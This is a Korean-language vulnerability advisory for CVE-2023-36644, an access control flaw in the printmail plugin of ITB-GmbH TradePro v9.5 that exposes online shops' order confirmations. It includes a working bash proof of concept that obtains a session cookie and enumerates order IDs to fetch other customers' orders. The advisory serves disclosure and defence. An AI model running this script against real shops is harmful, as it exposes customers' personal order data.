CVE-2023-36644

== 영향을 받는 소프트웨어 [%hardbreaks] 공급업체: ITB-GmbH 영향을 받는 제품: TradePro (v9.5) 구성 요소: Printmail 플러그인 확인됨: 예

== 공격 벡터 [%hardbreaks] 유형: 부적절한 접근 제어 접근 유형: 원격 영향: 정보 노출

ITB-GmbH TradePro v9.5의 printmail 플러그인에서 부적절한 접근 제어로 인해 원격 공격자가 임의의 주문 번호를 http(s) 엔드포인트에 전달하여 온라인 상점의 모든 주문 확인서를 받을 수 있습니다.

== 설명 orderid는 사전에 알고 있어야 하지만 쉽게 열거하거나 SQLi를 사용하여 얻을 수 있습니다 (보고서 link:/security/CVE-2023-36645[CVE-2023-36645] 참조).

유효하지만 인증되지 않은 세션 쿠키로 http(s)://[DOMAIN]/shop/de/?plugin=printmail&wkid=[COOKIE]&orderid=[ORDER_ID]를 호출하면 공격자가 모든 주문 확인서에 접근할 수 있습니다.

== CVSS [%hardbreaks] 점수: 7.1 벡터: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:P]

== 개념 증명 [source, bash]

#! /bin/bash DOMAIN=$1 TEST_PATH="shop/de/sys/" #TEST_PATH="shop/de/" SAMPLE1_ID=0

COOKIE=$(curl -s -c - $DOMAIN | grep sessiontradepro | cut -f7) echo "Got Cookie: $COOKIE" SAMPLE1=$(curl -s -w '\nsize_download %{size_download}' "$DOMAIN/$TEST_PATH?plugin=printmail&wkid=$COOKIE&orderid=$SAMPLE1_ID" | grep size_download | cut -d" " -f2) echo Test URL: "$DOMAIN/$TEST_PATH?plugin=printmail&wkid=$COOKIE&orderid=%ID%" echo "========" echo $SAMPLE1_ID $SAMPLE1 for SAMPLE2_ID in {24000..25000} do SAMPLE2=$(curl -s -w '\nsize_download %{size_download}' "$DOMAIN/$TEST_PATH?plugin=printmail&wkid=$COOKIE&orderid=$SAMPLE2_ID" | grep size_download | cut -d" " -f2) echo $SAMPLE2_ID $SAMPLE2 done

== 감사

• Lynn
• Jadyn
• https://zerforschung.org[zerforschung.org]